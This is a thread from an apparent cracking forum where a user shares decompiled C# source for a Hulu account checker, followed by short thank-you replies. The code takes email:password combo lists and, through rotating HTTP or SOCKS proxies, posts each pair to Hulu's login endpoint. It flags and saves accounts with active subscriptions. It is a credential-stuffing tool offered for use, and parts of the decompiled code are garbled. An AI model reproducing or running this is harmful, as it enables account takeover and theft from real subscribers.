shycrackzz 59 [align=center]PLEASE LEAVE A LIKE IF YOU APPRECIATE MY WORK LEECHERS ARE BAD AND GET BANNED[/align] DOWNLOAD: [align=center][hide] using Microsoft.VisualBasic.CompilerServices; using System.IO; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Threading; using xNet; using System.Text.RegularExpressions; public class Form1 { public string str; private bool dragging; private Point offset; private string run_status; private string date1; public int ComboListLength; public int ProxyListLength; public int GoodCount; public int ErrorCount; public int int_4; public int TestedCount; public int AccountsRemaining; public int int_7; public object object_0; private Point poComboListLength; public ProxyType proxyType_0; public Queue queue_0; public Random random_0; private List ComboList; private List ProxyList; public string[] string_2; public string[] string_3; private string string_5; public Thread[] thread_0; public string pass; public string user; private string testfile; private bool bool_6; private int int_6; public Form1() { this.object_0 = RuntimeHelpers.GetObjectValue(new object()); this.random_0 = new Random(); object Me.string_2; object Me.string_3; this.string_5 = ""; string startupPath = Application.StartupPath; DateTime now = DateTime.Now; this.testfile = string.Concat(startupPath, "\\Results\\Good_", now.ToString("M-d-yyyy_h-m"), ".txt"); this.InitializeComponent(); Control.CheckForIllegalCrossThreadCalls = false; this.text_proxyType.SelectedIndex = 0; this.ComboList = new List(); this.ProxyList = new List(); } public void AutoSaveHits() { IEnumerator enumerator = null; Using; ((System.IO.StreamWriter)(streamWriter)) = new System.IO.StreamWriter(this.testfile); try { enumerator = this.ListView1.Items.GetEnumerator(); while (enumerator.MoveNext()) { ListViewItem current; enumerator.Current; ListViewItem; streamWriter.WriteLine(string.Concat(new string[] { current.Text, ":", current.SubItems(1).Text, "|Subscription:", current.SubItems(2).Text})); } } streamWriter.Close(); } } Subpublic delegate void VBAnonymousDelegate_0(); Endclass Unknown { } [DllImport("urlmon.dll", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] private static int CoInternetSetFeatureEnabled(int int_8, int int_9, bool bool_0) { } private void Label2_Click(object sender, EventArgs e) { } private void Label3_Click(object sender, EventArgs e) { WindowState = FormWindowState.Minimized; } private void Form1_FormClosed(object sender, FormClosedEventArgs e) { Application.Exit(); } private void Panel1_MouseDown(object sender, MouseEventArgs e) { if ((e.Button == System.Windows.Forms.MouseButtons.Left)) { this.bool_6 = true; this.int_6 = (Control.MousePosition.X - this.Location.X); this.int_7 = (Control.MousePosition.Y - this.Location.Y); } } private void Panel1_MouseMove(object sender, MouseEventArgs e) { if (this.bool_6) { int x = (Control.MousePosition.X - this.int_6); Point mousePosition = Control.MousePosition; Point point = new Point(x, (mousePosition.Y - this.int_7)); this.Location = point; } } private void Panel1_MouseUp(object sender, MouseEventArgs e) { this.bool_6 = false; } [DllImport("Gdi32.dll", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] private static IntPtr CreateRoundRectRgn(int int_8, int int_9, int ProxyListLength0, int ProxyListLength1, int ProxyListLength2, int ProxyListLength3) { } public string GenerateRandomString(ref int iLength) { System.Random random = new System.Random(); char[] charArray = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLOMNOPQRSTUVWXYZ0123456789".ToCharArray(); string str = ""; int num = (iLength - 1); int num1 = 0; for ( ; (num1 <= num); ) { str = string.Concat(str, Conversions.ToString(charArray[random.Next(0, int.Parse(charArray.Length))])); num1 = (num1 + 1); } return str; } private void Button1_Click(object sender, EventArgs e) { List enumerator; (// TODO: Warning!!!! NULL EXPRESSION DETECTED... + Enumerator[]); this.ComboList.Clear(); System.Windows.Forms.OpenFileDialog openFileDialog = new System.Windows.Forms.OpenFileDialog(); // With... RestoreDirectory = true; Multiselect = false; Filter = "Combo List (*.txt)|*.txt"; FilterIndex = 1; openFileDialog.ShowDialog(); if ((Operators.CompareString(openFileDialog.FileName, null, false) > 0)) { List strs = new List(); Using; ((System.IO.StreamReader)(streamReader)) = new System.IO.StreamReader(openFileDialog.FileName); while ((streamReader.Peek() != -1)) { strs.Add(streamReader.ReadLine()); } } try { enumerator = strs.GetEnumerator(); while (enumerator.MoveNext()) { string current = enumerator.Current; try { this.ComboList.Add(current); } catch (System.Exception exception) { } } } finally { enumerator; IDisposable; Dispose(); } this.ComboListLength = this.ComboList.Count; this.AccountsRemaining = this.ComboListLength; this.ComboCountLabel.Text = this.ComboListLength.ToString(); this.TestedCount = 0; } private void Button4_Click(object sender, EventArgs e) { List enumerator; (// TODO: Warning!!!! NULL EXPRESSION DETECTED... + Enumerator[]); this.ProxyList.Clear(); System.Windows.Forms.OpenFileDialog openFileDialog = new System.Windows.Forms.OpenFileDialog(); // With... RestoreDirectory = true; Multiselect = false; Filter = "Proxy List (*.txt)|*.txt"; FilterIndex = 1; openFileDialog.ShowDialog(); if ((Operators.CompareString(openFileDialog.FileName, null, false) > 0)) { List strs = new List(); Using; ((System.IO.StreamReader)(streamReader)) = new System.IO.StreamReader(openFileDialog.FileName); while ((streamReader.Peek() != -1)) { strs.Add(streamReader.ReadLine()); } } try { enumerator = strs.GetEnumerator(); while (enumerator.MoveNext()) { string current = enumerator.Current; try { this.ProxyList.Add(current); } catch (System.Exception exception) { } } } finally { enumerator; IDisposable; Dispose(); } this.ProxyListLength = this.ProxyList.Count; this.ProxyCountLbl.Text = this.ProxyListLength.ToString(); } public void method_6() { int int4 = (this.int_4 - 1); for (int i = 0; (i <= int4); i = (i + 1)) { this.thread_0(i) = new Thread(new ThreadStart(new System.EventHandler(this.method_5))); this.thread_0(i).IsBackground = true; this.thread_0(i).Abort(); } } public static string smethod_0(string string_6, string string_7, string string_8) { string value; try { value = Regex.Match(string_6, (string_7 + ("(.*?)" + string_8))).Groups[1].Value; } catch (Exception ex) { } return value; } public void method_5() { if (string.Equals(this.run_status, "running")) { string proxyAddress = this.ProxyList(this.random_0.Next(0, this.ProxyListLength)); while ((this.queue_0.Count > 0)) { object objectValue = RuntimeHelpers.GetObjectValue(this.object_0); bool flag = false; object objectValue2; string text; try { object expr_4C = RuntimeHelpers.GetObjectValue(objectValue); objectValue2 = RuntimeHelpers.GetObjectValue(expr_4C); Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_4C), flag); try { text = this.queue_0.Peek().ToString().TrimEnd(new char[] { "\r"}).Trim(); this.queue_0.Dequeue(); } catch (Exception expr_94) { } finally { if (flag) { Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2)); } } string[] array = text.Split(new char[] { ":", c}); try { HttpRequest httpRequest = new HttpRequest(); httpRequest.Proxy = ProxyClient.Parse(this.proxyType_0, proxyAddress); CookieDictionary cookies = new CookieDictionary(false); httpRequest.Cookies = cookies; httpRequest.IgnoreProtocolErrors = true; httpRequest.ConnectTimeout = 25000; httpRequest.AllowAutoRedirect = true; httpRequest.KeepAlive = true; httpRequest.UserAgent = Http.ChromeUserAgent(); Form1.smethod_0(httpRequest.Get("https://www.hulu.com/api/3.0/generate_csrf_value?for_hoth=true&path=/v2/web/password/authenticate", null).ToString(), "data-reactid=\"36\"/> httpRequest.AddParam("csrf", httpRequest.Cookies["_tcv"]); httpRequest.AddParam("user_email", array[0]); httpRequest.AddParam("password", array[1]); if (httpRequest.Post("https://auth.hulu.com/v2/web/password/authenticate").ToString().Contains("{}")) { string text2 = httpRequest.Get(string.Concat(new string[] { "https://secure.hulu.com/api/3.0/subscriber/account_page_info?_user_pgid=", httpRequest.Cookies["_hulu_pgid"], "&_content_pgid=29635&_device_id=1®ion=us&locale=en&language=en&zzuser_id=", httpRequest.Cookies["_hulu_uid"], "&zzcb=18110971"}), null).ToString(); if (!text2.Contains("has_active_subscription\": true,")) { goto IL_458; } str = "Active Subscription"; objectValue = RuntimeHelpers.GetObjectValue(this.object_0); bool flag2 = false; try { object expr_269 = RuntimeHelpers.GetObjectValue(objectValue); objectValue2 = RuntimeHelpers.GetObjectValue(expr_269); Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_269), flag2); array.Resize(Of, String)[this.string_2, (this.GoodCount + 1)]; string[] array2 = text.Split(new char[] { ":", c}); user = array2[0]; pass = array2[1]; this.ListView1.BeginInvoke(new Form1.VBAnonymousDelegate_0(Sub, (Unknown, Dim, listViewItemAsListViewItem=NewListViewItem(Unknown, listViewItem.Text=user, listViewItem.SubItems.Add(pass), listViewItem.SubItems.Add(str), this.ListView1.Items.Add(listViewItem), End, Sub)); this.GoodCount++; this.TestedCount++; this.AccountsRemaining--; this.AutoSaveHits(); // TODO: Continue While... Warning!!! not translated } finally { if (flag2) { Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2)); } } if (text2.Contains("has_active_subscription\": true,")) { str = "Active Subscription"; } else { str = "Free"; } objectValue = RuntimeHelpers.GetObjectValue(this.object_0); bool flag3 = false; try { object expr_371 = RuntimeHelpers.GetObjectValue(objectValue); objectValue2 = RuntimeHelpers.GetObjectValue(expr_371); Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_371), flag3); array.Resize(Of, String)[this.string_2, (this.GoodCount + 1)]; string[] array3 = text.Split(new char[] { ":", c}); user = array3[0]; pass = array3[1]; this.string_2(this.GoodCount) = (text + (" |Subscription = " + (str + "\r\n"))); this.ListView1.BeginInvoke(new Form1.VBAnonymousDelegate_0(Sub, (Unknown, Dim, listViewItemAsListViewItem=NewListViewItem(Unknown, listViewItem.Text=user, listViewItem.SubItems.Add(pass), listViewItem.SubItems.Add(str), this.ListView1.Items.Add(listViewItem), End, Sub)); this.GoodCount++; this.TestedCount++; this.AccountsRemaining--; this.AutoSaveHits(); // TODO: Continue While... Warning!!! not translated } finally { if (flag3) { Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2)); } } } IL_458: objectValue = RuntimeHelpers.GetObjectValue(this.object_0); bool flag4 = false; try { object expr_46D = RuntimeHelpers.GetObjectValue(objectValue); objectValue2 = RuntimeHelpers.GetObjectValue(expr_46D); Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_46D), flag4); this.ErrorCount++; } finally { if (flag4) { Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2)); } } this.TestedCount++; this.AccountsRemaining--; } catch (Exception arg_4CF_0) { this.int_7++; this.queue_0.Enqueue(text); proxyAddress = this.ProxyList(this.random_0.Next(0, this.ProxyListLength)); } } if ((this.TestedCount == this.ComboListLength)) { this.method_6(); } } } } void Button2_Click(object sender, EventArgs e) { if ((Operators.CompareString(this.Button2.Text, "S t a r t", false) != 0)) { this.run_status = "stopping"; } else { try { if ((this.ComboListLength == 0)) { } else if ((this.ProxyListLength != 0)) { if (!Directory.Exists(string.Concat(new string[] { "Results\\"}))) { Directory.CreateDirectory(string.Concat(new string[] { "Results\\"})); } this.run_status = "running"; this.text_proxyType.Enabled = false; this.TextBox1.Enabled = false; switch (this.text_proxyType.SelectedIndex) { case 0: this.proxyType_0 = ProxyType.Http; break; break; case 1: this.proxyType_0 = ProxyType.Socks4; break; break; case 2: this.proxyType_0 = ProxyType.Socks5; break; break; default: MessageBox.Show("Choose Proxy type"); return; break; } this.Timer1.Start(); this.GoodCount = 0; this.ErrorCount = 0; this.string_2 = null; this.string_3 = null; this.TestedCount = 0; this.int_7 = 0; this.AccountsRemaining = this.ComboListLength; this.queue_0 = new Queue(); int comboListLength = (this.ComboListLength - 1); int num = 0; for ( ; (num <= comboListLength); ) { this.queue_0.Enqueue(this.ComboList(num)); num = (num + 1); } this.int_4 = Convert.ToInt32(this.TextBox1.Text); object Me.thread_0; int int4 = (this.int_4 - 1); int num1 = 0; for ( ; (num1 <= int4); ) { this.thread_0(num1) = new Thread(new ThreadStart(new System.EventHandler(this.method_5))); this.thread_0(num1).IsBackground = true; this.thread_0(num1).Start(); num1 = (num1 + 1); } this.Timer1.Enabled = true; this.Button2.Text = "S t o p"; } else { } } catch (System.Exception exception) { } } } private void Timer1_Tick(object sender, EventArgs e) { this.HitsCountLabel.Text = this.GoodCount.ToString(); this.TestCountLabel.Text = this.TestedCount.ToString(); if ((Operators.CompareString(this.run_status, "stopping", false) == 0)) { int int4 = (this.int_4 - 1); for (int i = 0; (i <= int4); i = (i + 1)) { if (!this.thread_0(i).IsAlive) { this.Button2.Text = "S t a r t"; this.text_proxyType.Enabled = true; this.TextBox1.Enabled = true; this.Timer1.Stop(); this.run_status = "Idle"; } else { this.thread_0(i).Abort(); } } } } [/hide][/align] Quote Share this post Link to post Share on other sites
PornHubLifetime 4 Thanks hope it works without errors <3 Quote Share this post Link to post Share on other sites
SheTookTheKids 1 [align=center]PLEASE LEAVE A LIKE IF YOU APPRECIATE MY WORK LEECHERS ARE BAD AND GET BANNED[/align] DOWNLOAD: Thanks for this nice source! :hype: Quote Share this post Link to post Share on other sites
Weed 28 [align=center]PLEASE LEAVE A LIKE IF YOU APPRECIATE MY WORK LEECHERS ARE BAD AND GET BANNED[/align] DOWNLOAD: <33333333333333333333 1 Quote Share this post Link to post Share on other sites
dustindog101 3 hopefully works hopefully works hopefully works 6 more post to be alive Quote Share this post Link to post Share on other sites
Crackers 4 really cool great share thanks so much man Quote Share this post Link to post Share on other sites
NullCheats 50 thanks my G need this not for hulu xd Quote Share this post Link to post Share on other sites
gotcha1 1 I liked your post, i'm not leeching : ) Quote Share this post Link to post Share on other sites
Michele878 1 [align=center]PLEASE LEAVE A LIKE IF YOU APPRECIATE MY WORK LEECHERS ARE BAD AND GET BANNED[/align] DOWNLOAD: wow thanks! Quote Share this post Link to post Share on other sites
69ScumPaci69 0 gooooooooooooood :fiesta: :fiesta: :fiesta: :fiesta: :fiesta: :fiesta: :fiesta: :fiesta: :fiesta: :fiesta: :fiesta: Quote Share this post Link to post Share on other sites
DeerpfyCheats 0 I leaved like soo dont say thank you bcs you dont read this °( Quote Share this post Link to post Share on other sites
almightymarri1 4 thanks for sharing will try it out Quote Share this post Link to post Share on other sites